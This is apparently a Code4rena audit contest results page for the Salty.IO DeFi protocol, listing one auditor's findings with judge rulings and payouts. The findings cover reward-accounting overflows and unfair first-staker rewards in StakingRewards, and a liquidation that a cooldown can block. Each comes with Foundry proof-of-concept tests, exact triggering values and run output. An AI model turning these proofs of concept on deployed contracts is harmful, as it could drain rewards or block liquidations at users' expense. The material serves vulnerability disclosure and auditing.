Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 27/178
Findings: 5
Award: $493.89
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xCiphky
Also found by: 0x3b, 0xCiphky, DedOhWale, Evo, J4X, OMEN, RootKit0xCE, Silvermist, Stormreckson, Toshii, a3yip6, ether_sky, israeladelaja, stackachu, twcctop, zhaojie
87.7413 USDC - $87.74
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L57-L92
There are multiple issues when calculating virtual rewards in StakingRewards._increaseUserShare()
:
Virtual rewards are not added for the first staker in a pool:
https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingRewards.sol#L78-L85
if ( existingTotalShares != 0 ) // prevent / 0 { // Round up in favor of the protocol. uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares ); user.virtualRewards += uint128(virtualRewardsToAdd); totalRewards[poolID] += uint128(virtualRewardsToAdd); }
When the first staker stakes, existingTotalShares
is 0, so no virtual rewards are added and they get the full reward that has been accumulated so far, giving them a larger reward share than following stakers.
According to the comment, this is a measure to avoid a division by zero. However, the relevant calculation to calculate virtualRewardsToAdd
shouldn't divide by existingTotalShares
in the first place. By calculating virtualRewardsToAdd
as totalRewards[poolID] * increaseShareAmount / existingTotalShares
(rounding up instead of down), virtualRewardsToAdd
can be higher than totalRewards[poolID]
if increaseShareAmount > existingTotalShares
(which especially can be the case when the pool is new and doesn't have many stakers yet.
Later, virtualRewardsToAdd
is added to totalRewards[poolID]
. Because totalRewards[poolID]
is only decreased when a user unstakes, it is possible that in subsequent calculations virtualRewardsToAdd
becomes larger than type(uint128).max
, which causes truncation when virtualRewardsToAdd
is cast to uint128
and also can lead to the user.virtualRewards += uint128(virtualRewardsToAdd)
operation overflowing.
Additionally, totalRewards[poolID]
can become so large that individual users' reward shares can exceed the contract's SALT balance.
The fairness/correctness of the reward distribution is impacted:
uint128
overflow. However, specific amounts need to be staked for that to happen.The following test cases can be added to https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/tests/StakingRewards.t.sol to demonstrate the issues:
function testRewardClaimMoreForFirstStaker() public { // prepare arrays that are used multiple times in the test AddedReward[] memory addedRewards = new AddedReward[](1); addedRewards[0] = AddedReward(poolIDs[0], 10 ether); bytes32[] memory claimPools = new bytes32[](1); claimPools[0] = poolIDs[0]; // add rewards stakingRewards.addSALTRewards(addedRewards); // Alice stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 100 ether, true); // Bob stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(bob, poolIDs[0], 100 ether, true); // add rewards stakingRewards.addSALTRewards(addedRewards); uint256 aliceSaltBalancePre = salt.balanceOf(alice); uint256 bobSaltBalancePre = salt.balanceOf(bob); // claim rewards vm.prank(alice); stakingRewards.claimAllRewards(claimPools); vm.prank(bob); stakingRewards.claimAllRewards(claimPools); // show result console.log("Alice SALT reward:", salt.balanceOf(alice) - aliceSaltBalancePre); console.log("Bob SALT reward:", salt.balanceOf(bob) - bobSaltBalancePre); // Alice's reward is greater than Bob's reward assertEq(salt.balanceOf(alice) - aliceSaltBalancePre, salt.balanceOf(bob) - bobSaltBalancePre + 10 * 1e18); }
Run with:
$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testRewardClaimMoreForFirstStaker -vvv --fork-url https://ethereum-sepolia.publicnode.com [â ’] Compiling... No files changed, compilation skipped Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest [PASS] testRewardClaimMoreForFirstStaker() (gas: 246274) Logs: Alice SALT reward: 15000000000000000000 Bob SALT reward: 5000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.84s Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
function testVirtualRewardOverflow() public { // prepare arrays that are used multiple times in the test AddedReward[] memory addedRewards = new AddedReward[](1); addedRewards[0] = AddedReward(poolIDs[0], 10 ether); bytes32[] memory claimPools = new bytes32[](1); claimPools[0] = poolIDs[0]; uint256 cooldown = stakingConfig.modificationCooldown(); // Alice stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true); // add rewards stakingRewards.addSALTRewards(addedRewards); vm.warp(block.timestamp + cooldown); // Alice stakes vm.prank(DEPLOYER); // approx. 7.5 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 7488136320796573910, true); vm.warp(block.timestamp + cooldown); // Alice stakes, causing an overflow vm.expectRevert(stdError.arithmeticError); vm.prank(DEPLOYER); // approx. 94.6 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 94596573755484965130, true); }
Run with:
$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testVirtualRewardOverflow -vvv --fork-url https://ethereum-sepolia.publicnode.com [â ’] Compiling... No files changed, compilation skipped Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest [PASS] testVirtualRewardOverflow() (gas: 179979) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.87s Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
function testTotalRewardsGreaterThanSaltBalance() public { // prepare arrays that are used multiple times in the test AddedReward[] memory addedRewards = new AddedReward[](1); addedRewards[0] = AddedReward(poolIDs[0], 10 ether); bytes32[] memory claimPools = new bytes32[](1); claimPools[0] = poolIDs[0]; // add rewards stakingRewards.addSALTRewards(addedRewards); // Alice stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true); // Bob stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(bob, poolIDs[0], 1, true); // Charlie stakes vm.prank(DEPLOYER); // approx. 34 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(charlie, poolIDs[0], 34028236692093846347, true); // Charlie claims rewards (reverts because his rewards exceed the contract's SALT balance) vm.expectRevert("ERC20: transfer amount exceeds balance"); vm.prank(charlie); stakingRewards.claimAllRewards(claimPools); console.log("Charlie's rewards:", stakingRewards.userRewardForPool(charlie, poolIDs[0])); console.log("SALT balance of stakingRewards:", salt.balanceOf(address(stakingRewards))); }
Run with:
$ forge test --match-path src/staking/tests/StakingRewards.t.sol --match-test testTotalRewardsGreaterThanSaltBalance -vvv --fork-url https://ethereum-sepolia.publicnode.com [â ˜] Compiling... No files changed, compilation skipped Running 1 test for src/staking/tests/StakingRewards.t.sol:SharedRewardsTest [PASS] testTotalRewardsGreaterThanSaltBalance() (gas: 286134) Logs: Charlie's rewards: 19999999999999999998 SALT balance of stakingRewards: 10000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.16s Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
I find the current method of using virtual rewards very hard to reason about. Thus I don't feel confident to suggest specific changes.
Instead I would suggest using an epoch- or cycle-based reward distribution mechanism:
Math
#0 - Picodes
2024-02-02T09:39:47Z
Duplicate of #341
#1 - c4-judge
2024-02-07T00:00:35Z
Picodes marked the issue as duplicate of #614
#2 - c4-judge
2024-02-18T16:55:06Z
Picodes marked the issue as not a duplicate
#3 - c4-judge
2024-02-18T16:55:13Z
Picodes changed the severity to QA (Quality Assurance)
#4 - c4-judge
2024-02-18T16:55:31Z
This previously downgraded issue has been upgraded by Picodes
#5 - Picodes
2024-02-18T16:56:30Z
Splitting this report in 3 as it discusses 3 different issues within the contract.
#6 - c4-judge
2024-02-18T16:56:38Z
Picodes marked the issue as satisfactory
#7 - c4-judge
2024-02-18T16:58:01Z
Picodes marked the issue as duplicate of #614
#8 - c4-judge
2024-02-18T16:58:30Z
Picodes changed the severity to 3 (High Risk)
326.1249 USDC - $326.12
Judge has assessed an item in Issue #957 as 2 risk. The relevant finding follows:
function testVirtualRewardOverflow() public { // prepare arrays that are used multiple times in the test AddedReward[] memory addedRewards = new AddedReward; addedRewards[0] = AddedReward(poolIDs[0], 10 ether); bytes32[] memory claimPools = new bytes32; claimPools[0] = poolIDs[0];
uint256 cooldown = stakingConfig.modificationCooldown();
// Alice stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true);
// add rewards stakingRewards.addSALTRewards(addedRewards);
vm.warp(block.timestamp + cooldown);
// Alice stakes vm.prank(DEPLOYER); // approx. 7.5 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 7488136320796573910, true);
vm.warp(block.timestamp + cooldown);
// Alice stakes, causing an overflow vm.expectRevert(stdError.arithmeticError); vm.prank(DEPLOYER); // approx. 94.6 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 94596573755484965130, true); }
#0 - c4-judge
2024-02-18T16:56:40Z
Picodes marked the issue as satisfactory
#1 - c4-judge
2024-02-18T16:57:03Z
Picodes marked the issue as duplicate of #341
#2 - c4-judge
2024-02-21T16:19:06Z
Picodes changed the severity to 3 (High Risk)
🌟 Selected for report: 0xbepresent
Also found by: 00xSEV, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xRobocop, 0xanmol, 0xlemon, 0xpiken, Arz, Audinarey, Auditwolf, Aymen0909, Banditx0x, CaeraDenoir, DanielArmstrong, Draiakoo, HALITUS, Infect3d, J4X, Jorgect, Kalyan-Singh, KingNFT, Krace, PENGUN, Toshii, Udsen, ayden, b0g0, c0pp3rscr3w3r, developerjordy, djxploit, erosjohn, holydevoti0n, iamandreiski, israeladelaja, juancito, klau5, lanrebayode77, memforvik, mussucal, n0kto, novodelta, pkqs90, solmaxis69, stackachu, twcctop, zhaojie, zhaojohnson
0.7809 USDC - $0.78
https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L154
The CollateralAndLiquidity.liquidateUser()
function calls StakingRewards._decreaseUserShare()
to wipe out a user's share in the WBTC/WETH pool that they have used as collateral to borrow USDS. Because the useCooldown
parameter is set to true
, the call will fail if the user is currently in the cooldown period.
// Liquidate a position which has fallen under the minimum collateral ratio. // A default 5% of the value of the collateral is sent to the caller, with the rest being sent to the Liquidator for later conversion to USDS which is then burned. function liquidateUser( address wallet ) external nonReentrant { require( wallet != msg.sender, "Cannot liquidate self" ); // First, make sure that the user's collateral ratio is below the required level require( canUserBeLiquidated(wallet), "User cannot be liquidated" ); [...] // Decrease the user's share of collateral as it has been liquidated and they no longer have it. _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); [...] }
// Decrease a user's share for the pool and have any pending rewards sent to them. // Does not require the pool to be valid (in case the pool was recently unwhitelisted). function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal { [...] UserShareInfo storage user = _userShareInfo[wallet][poolID]; [...] if ( useCooldown ) if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown { require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" ); // Update the cooldown expiration for future transactions user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown(); } [...] }
The cooldown period starts when a user deposits or withdraws collateral. The cooldown period is set in the StakingConfig
contract to be 1 hour by default (https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingConfig.sol#L31) but can be change to a value between 15 minutes and 6 hours by the DAO (https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/StakingConfig.sol#L85-L99).
A user can avoid liquidation by depositing a minimal amount of collateral. However, when the cooldown period ends the user might need to frontrun a possible liquidation. Depending on the value of their collateral they might be financially incentivized to pay an additional gas fee or MEV bribe to ensure that the liquidation fails.
The protocol risks bad debt due to delayed or failed liquidations if the collateral value minus the liquidation reward falls below the value of the borrowed USDS while the liquidation is blocked. This can also affect the USDS peg given that USDS is backed by the collateral provided by the borrowers.
Add the following test to https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/tests/CollateralAndLiquidity.t.sol:
function testUserDepositBorrowDepositAndLiquidateBlockedByCooldown() public { // Bob deposits collateral so alice can be liquidated vm.startPrank(bob); collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(bob), weth.balanceOf(bob), 0, block.timestamp, false ); vm.stopPrank(); vm.startPrank( alice ); uint256 wbtcDeposit = wbtc.balanceOf(alice) / 4; uint256 wethDeposit = weth.balanceOf(alice) / 4; collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true ); // Alice borrows USDS uint256 maxBorrowable = collateralAndLiquidity.maxBorrowableUSDS(alice); collateralAndLiquidity.borrowUSDS( maxBorrowable ); vm.warp( block.timestamp + 1 days ); // Try depositing again collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtcDeposit, wethDeposit, 0, block.timestamp, true ); vm.stopPrank(); // Crash the collateral price so Alice's position can be liquidated _crashCollateralPrice(); _crashCollateralPrice(); _crashCollateralPrice(); vm.warp( block.timestamp + 1 days ); // Alice deposits minimal WBTC/WETH collateral to start the cooldown period vm.prank(alice); collateralAndLiquidity.depositCollateralAndIncreaseShare(1000, 1000, 0, block.timestamp, true ); assertTrue(_userHasCollateral(alice)); // Alice is liquidatable assertTrue(collateralAndLiquidity.canUserBeLiquidated(alice)); // Liquidate Alice's position - fails because Alice is in cooldown vm.expectRevert( "Must wait for the cooldown to expire" ); collateralAndLiquidity.liquidateUser(alice); }
Run the test with:
COVERAGE=no forge test --match-path src/stable/tests/CollateralAndLiquidity.t.sol --match-test testUserDepositBorrowDepositAndLiquidateBlockedByCooldown -vvv --fork-url https://eth-sepolia-public.unifra.io
A fork URL (Sepolia RPC endpoint) and the COVERAGE
env variable must be specified for the test to work.
CollateralAndLiquidity.liquidateUser()
should call _decreaseUserShare()
with useCooldown
set to false
. This ensures that liquidations cannot be blocked by the cooldown period. The cooldown mechanism should not be needed in this case.Other
#0 - c4-judge
2024-01-31T22:40:25Z
Picodes marked the issue as duplicate of #891
#1 - c4-judge
2024-02-21T16:12:44Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-21T16:14:00Z
Picodes changed the severity to 3 (High Risk)
🌟 Selected for report: Udsen
Also found by: 0xfave, Banditx0x, DanielArmstrong, Draiakoo, J4X, Jorgect, ether_sky, santiellena, stackachu
79.2483 USDC - $79.25
Judge has assessed an item in Issue #957 as 2 risk. The relevant finding follows:
function testTotalRewardsGreaterThanSaltBalance() public { // prepare arrays that are used multiple times in the test AddedReward[] memory addedRewards = new AddedReward; addedRewards[0] = AddedReward(poolIDs[0], 10 ether); bytes32[] memory claimPools = new bytes32; claimPools[0] = poolIDs[0];
// add rewards stakingRewards.addSALTRewards(addedRewards);
// Alice stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(alice, poolIDs[0], 1, true);
// Bob stakes vm.prank(DEPLOYER); stakingRewards.externalIncreaseUserShare(bob, poolIDs[0], 1, true);
// Charlie stakes vm.prank(DEPLOYER); // approx. 34 * 1e18 (value was found using Foundry fuzzing) stakingRewards.externalIncreaseUserShare(charlie, poolIDs[0], 34028236692093846347, true);
// Charlie claims rewards (reverts because his rewards exceed the contract's SALT balance) vm.expectRevert("ERC20: transfer amount exceeds balance"); vm.prank(charlie); stakingRewards.claimAllRewards(claimPools);
console.log("Charlie's rewards:", stakingRewards.userRewardForPool(charlie, poolIDs[0])); console.log("SALT balance of stakingRewards:", salt.balanceOf(address(stakingRewards))); }
#0 - c4-judge
2024-02-18T16:56:43Z
Picodes marked the issue as satisfactory
#1 - c4-judge
2024-02-18T16:57:15Z
Picodes marked the issue as duplicate of #1021